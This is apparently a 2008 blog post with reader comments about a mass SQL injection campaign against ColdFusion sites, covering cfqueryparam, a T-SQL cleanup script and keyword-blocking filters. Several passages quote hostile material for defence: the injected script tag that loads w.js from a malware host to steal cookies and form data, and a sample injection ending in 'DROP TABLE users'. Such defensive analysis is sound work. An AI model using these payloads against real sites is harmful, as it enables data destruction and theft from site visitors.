This week there has been an increase in SQL Injection attacks, specifically against ColdFusion sites since the hackers have discovered they are also vulnerable, primarily due to most developers not using <cfqueryparam>. You should also be aware that prior to the actual attacks, bots are first running vulnerability tests against sites to find out which language and which database they are using to determine which vulberability they may be vulberable to.
Use of cfqueryparam is pretty much a must have requirement for your queries these days and is generally secure because it results in a prepared statement, which is always binded as a string, which is not vulnerable to sql injection. But, many ColdFusion developers do not seem to use cfqueryparam probably due to not knowing it exists. In fact CFQueryParam has existed since CF4.5, andI have to admit even I didn't know that, it has only really been promoted as a best practice and way to avoid SQL injection since CF6.
In mid-July, the hacker webzine 0x000000.com discussed potential pitfalls, particularly within older versions of ColdFusion, which could lend themselves to potential compromise:
~ Easily discoverable passwords
~ Lack of parameterized query handling
~ Failure to properly escape single quotes
~ Returning error messages that are too verbose
Like standard SQL injection, ColdFusion attacks have been around for years. What appears to have happened now appears to be the same thing that led to the millions of compromises in the ASP/SQL Server attacks - the use of automated tools.
Following are some of the malware domains involved in the recent ColdFusion attacks:
- mh.976801.cn
- 1.verynx.cn
- mm.ll80.com
Over at CFMX Hosting we have had quite a lot of customers hit by the verynx.cn attack, which inserts the following into your database tables.
</title><script src="http://1.verynx.cn/w.js"></script>
The resulting javascript which gets loaded into your pages is used to "phish" your visitors details by copying their cookies and other personal details from form fields. There are various incarnations of this attack now, resulting in different scripts being inserted into your database. If restoring a database backup is not an option for you, then the following little script may help you out.
DECLARE @T varchar(255),@C varchar(4000)
DECLARE Table_Cursor CURSOR FOR select a.name,b.name from sysobjects a,syscolumns b where a.id=b.id and a.xtype='u' and (b.xtype=99 or b.xtype=35 or b.xtype=231 or b.xtype=167)
OPEN Table_Cursor
FETCH NEXT FROM Table_Cursor INTO @T,@C WHILE(@@FETCH_STATUS=0)
BEGIN exec('update ['+@T+'] set ['+@C+']=replace(['+@C+'],''"></title><script src="http://1.verynx.cn/w.js"></script><!--'','''')')
FETCH NEXT FROM Table_Cursor INTO @T,@C END
CLOSE Table_Cursor DEALLOCATE Table_Cursor
This script will UNDO the changes made by the attack by searching for the afore mentioned string in all columns in all table in your database and removing it. All you need to do is modify the string to match the changes that were made to your database. If your site was attacked multiple times then the string may appear more than one, so you may have to run this script more than once.
Protecting Yourself
All of the attacks we have seen so far seem to be implemented by using the "Exec()" command, so are only affecting Microsoft SQL Server databases. So a quick and easy way to stop this is to add a URL and FORM scope validation script to your application.cfm or application.cfc to make sure none of these variables contain the Exec() command.
E.G.
<cfloop collection="#form#" item="item">
<cfif form[item] contains "exec(">
.. your decision code here ...
</cfif>
</cfloop>
<cfloop collection="#URL#" item="item">
<cfif form[item] contains "exec(">
.. your decision code here ...
</cfif>
</cfloop>
You could of course expand this further to check for any kind of SQL statement in the FORM or URL scope, as really there never should be any SQL in these scopes if your code is well written. Your decision code will determine what happens if a match is found. As it is obviously an attack there is no point in continuing to process the request and strip out the unwanted strings, so you may as well just abort it or generate an error page.
You should of course also be adding cfqueryparam tags to all your queries too, or if you are still running older version of CF then you should be validating the data types in another way, using <cfapram> or val() for example.
The best approach you can take is to lock down your database users with specific permissions so that your web site can only SELECT from the database and cannot update, delete, execute. You should ideally only allow these permissions from your backend admin system. If there are parts of your site that need to update the database, restrict the dbuser or DSN to only be able to update the specific tables/columns they need to.
If you need to find out which pages in your site have been attacked, then you should check your web logs, and search for things like "exec" or "declare" or other sql statements.



Actually it's been around since 4.5 according to page 170 of the docs:
http://download.macromedia.com/pub/documentation/e...
this; I ran scrwalr against the site and sure enough there was a single
"hole" -- I had done some work on the site a couple of years back and
those queries were using cfqueryparam, but most of the older ones were
not. 7 hours of coding later and there are cfqueryparam's all 'round,
and thanks to your slick SQL script (which is way over my head), I had the
data cleaned up in minutes rather than days. A very timely posting, thanks
very much!
That will help, but there's some other stuff you can do, such as query param anything dynamic sql. But similar to your script, here's what I've put in my application.cfm page:
<cfif cgi.SCRIPT_NAME contains "CHAR(4000)" OR cgi.PATH_INFO contains "CHAR(4000)" OR cgi.QUERY_STRING contains "CHAR(4000)">
<cfabort>
</cfif>
<cfif cgi.SCRIPT_NAME contains "EXEC(" OR cgi.PATH_INFO contains "EXEC(" OR cgi.QUERY_STRING contains "EXEC(">
<cfabort>
</cfif>
<cfif cgi.SCRIPT_NAME contains "DECLARE" OR cgi.PATH_INFO contains "DECLARE" OR cgi.QUERY_STRING contains "DECLARE">
<cfabort>
</cfif>
<cfif cgi.SCRIPT_NAME contains "CREATE TABLE" OR cgi.PATH_INFO contains "CREATE TABLE" OR cgi.QUERY_STRING contains "CREATE TABLE">
<cfabort>
</cfif>
<cfif cgi.SCRIPT_NAME contains "UPDATE" OR cgi.PATH_INFO contains "UPDATE" OR cgi.QUERY_STRING contains "UPDATE">
<cfabort>
</cfif>
<cfif cgi.SCRIPT_NAME contains "EXECUTE" OR cgi.PATH_INFO contains "EXECUTE" OR cgi.QUERY_STRING contains "EXECUTE">
<cfabort>
</cfif>
<cfif cgi.SCRIPT_NAME contains "CAST(" OR cgi.PATH_INFO contains "CAST(" OR cgi.QUERY_STRING contains "CAST(">
<cfabort>
</cfif>
hopefully between cfqueryparam and this script not much ought to get through.
You´d think that CF would auto-query param its values by now...
Hope that helps.
I would suggest that you try re-reading it and follow the aforementioned link to 0x000000.com and the penny might drop for you.
Hope that helps.
It is your sentence "specifically against ColdFusion sites since the hackers have discovered they are also vulnerable" that is what I take issue with, for the recent attack is *not* specifically attacking or targetting CF sites. No matter how hard you try to get around that fact, it remains a fact. All SQL-driven websites that pass data to a database query are susceptible, period.
Hope that helps.
Lets say every night at 6pm you go out ringing peoples doorbells and running away, and every night you do it on the same street and you do it house number 1,2 and 3 because you know they are home. Therefore you are targeting these specific houses. Now lets say you discover that house number 7 are also home at 6pm so you decide to add them to your attack too. Your attack has not changed, but your targets have, where as before you were only targeting house 1,2 and 3, not you are targeting houses 1,2,3 and 7.
Think of houses 1,2 and 3 as ASP, PHP and CGI and house number 7 is ColdFusion. So you are not specifically targeting House number 7, you have simply added it to your list of targets.
I did recommend you read this this article, which might help you too, but here is the direct link in case you could not find it: http://www.0x000000.com/?i=610.
If you still disagree then that is fine, but I request that you keep it yourself rather than flaming my blog further as it serves no purpose other than to be annoying. Thanks.
Though with few exceptions through a variety of jobs at different companies, any time I'd mentioned it to anyone else, I'd always heard "no we don't bother to do that here, it's not that important to us"... Which I never understood personally, but it seemed at least to me that the primary impetus for not using cfqueryparam at most of the companies where I'd worked was because they're tedious to write. Which imo isn't a good reason not to implement a security measure.
These days in my own work I still use cfqueryparam, but the applications I write for myself don't have any cfqueryparam tags because DataFaucet automates them for me. So what to me is .filter("columnx",objectid) becomes
where columnx = <cfqueryparam value="#objectid#" cfsqltype="cf_sql_xxx" />
Years ago when I was working for Christian Interactive Network (CIN) in Ft Lauderdale, I once wrote some code that had "inner" and "left" in the url parameter, so anyone who knew SQL would be likely to recognize it as a sql command *however* I've always been very conscientious about validating those kinds of values, so before it was used I had this: if (not listfindnocase("inner,left",attributes.join)) { attributes.join = "left"; } -- so if it wasn't inner or left, it made sure it was left before using it.
Though if I were being a purist about software design, I would say that's still not an ideal solution because the page shouldn't really know what mechanism is being used to return the results, whether it's sql or xml or something else. So from the point of the browser, the url parameter probably should have been 0 or 1 and then wrapped a val() around it and used that to make the decision within the query.
<cfset temp = cgi.SCRIPT_NAME & cgi.PATH_INFO & cgi.QUERY_STRING & structToURL(form) />
<cfif refindnocase("(cast|exec)\(|insert|update|declare|execute",temp)><cfabort /></cfif>
The down side is you'll never be able to put examples of code in a blog comment, forum entry, etc. if you put that in your application.cfm or onRequestStart.
on my sites:
<cfparam name="query_string" default="">
<cfif query_string contains "SELECT" or query_string contains "EXECUTE" or query_string contains "DECLARE" or query_string contains "VARCHAR" or query_string contains "CONVERT" or query_string contains "INSERT" or query_string contains "UPDATE" or query_string contains "DELETE" or query_string contains "DROP">
<cfoutput>
<pre>
<h1>HACK ATTEMPT RECORDED FROM IP: #remote_addr#</h1>
#DateFormat(Now(), "MM-DD-YYYY")# @ #TimeFormat(Now(), "HH:MM:SS")#
#script_name#&#query_string#
</pre>
</cfoutput>
<cfmail to="email@address" from="email@address" subject="HACK ATTEMPT FROM IP: #remote_addr#">
HACK ATTEMPT RECORDED:
#DateFormat(Now(), "MM-DD-YYYY")# @ #TimeFormat(Now(), "HH:MM:SS")#
IP: #remote_addr#
ATTEMPT:
http://#server_name#/#script_name#&#query_string#
</cfmail>
<cfabort>
</cfif>
Also what about pages protected by cflogin, alot of my sites have a password protected CMS, are these pages accesible and vulnerable as well?
select username, password, userid
from users
where username = '#form.username#'
and password = '#form.password#'
Or any scoped variation on form. If so then you're vunerable. It would be very easy to inject an attack such as this (using cf here and assuming an off site bot).
<cfset form.username = form.username & ";DROP TABLE users; SELECT * FROM DATA WHERE name LIKE '%';" />
Even if you transform the input you are still vunerable, unless you validate user input and use CFQueryParam. Check out the Wikipedia entry on sql injection attacks its a pretty good discussion of the matter, http://en.wikipedia.org/wiki/Sql_injection. Also it has a short CF example on how to prevent injection attacks.
Also check out today's CF-Talk, there's a long discussion on injection attacks and how to prevent them, http://www.houseoffusion.com/groups/cf-talk/thread...:57221.
regards,
larry
I cannot comment on CFLOGIN as I do not use it, but one would hope that ColdFusion's own tags would not be vulnerable, but you cannot assume I guess, better to test for yourself. What I generally do for password protected areas is use server side security rather than CF, as any CF based login protection will only protect cf pages, and not any other type of file. We use IISPASSWORD for windows, which takes CF out of the equation. You can then pass the authentication details to CF and use them for any additional permission management within the application.
So what generally happens is you'll have a cflogin tag that contains a login form and then a cfif statement wrapped around a query (or a CFC that executes a query) to log the user in, followed by a cfabort. So the cflogin tag isn't itself a potential vulnerability for SQL injection, but it's usually wrapped around code that is.
The code up top that removes the bogus data from tables is all well and good, but I'd like to first SEE what the scope of the damage has been. Does anybody have a script that will just display all the damaged columns?
Any suggestions on ways to further protect this site would be greatly appreciated. Thanks.
of those sites that I got infected. Now Russ, Larry, guys, correct me if I am wrong but other than the
query param I think database permissions can play a big role. I started making 2 DB connections for
my sites on the front end I use a connection that only has select permissions, on the backend where my
users update their site, I use a second db connection that has insert, update and delete permissions.
On top of permissions I am using the excellent free injection scanner on RiaForge
http://portcullis.riaforge.org and painfully recoding each site. The attacks are still coming too since my last
entry my email count is at about 19,000
That's a good suggestion, as is Portcullis. Brad Wood has been blogging about this stuff since these attacks started, this posting makes some very useful suggestions, and offers likes to some tools that will be very helpful in spotting vulnerabilities and ways to correct them.
http://www.codersrevolution.com/index.cfm/2008/7/2...
<cfquery\s[^>]*>([^#]*(((?<!value=")#[^#]*#)))((?<!</cfquery)[^>]*?)</cfquery>
This will go through either the project or the entire workspace searching for any cfqueries that are not query param'd. Its an excellent way of find out which cfqueries need to be protected. For more information, see Dan Switzer's blog http://blog.pengoworks.com/index.cfm/2008/7/23/Usi...)
I think you have a mistake in your code sample though.
Did you mean to use form[] for both loops?
also, I don't understand how cfqueryparam helps if you have fields that need to use relatively long strings in dynamic SQL such as searching for something in a text filed.
Thnx.
injectable
<cfquery ...>
select * from table
where lontextcolumn like '#longtext#'
</cfquery>
not injectable
<cfquery ...>
select * from table
where longtextcolumn like <cfqueryparam value="#longtext#" />
</cfquery>
Do these look like the kind of queries you're talking about or something else?
The terms 'update' 'select' and 'delete' are quite common and often found in comment boxes we receive from users who use our forms.
I can see blocking 'exec(' and things like that with funny characters, but don't we lose common English usage if we block all words used by SLQ from form submissions?
A much more sophisticated system would be to take the form content, place it in a new insert query using cfqueryparam that puts it into a queue for review and then allows you to approve them to go into the blog comments. But of course that requires more time to develop... and it's still in my opinion at least less than ideal.
I really only recommend that kind of url/form trapping as a stop-gap to keep it from happening temporarily, while you work your ass off getting all your cfquery tags updated with cfqueryparam.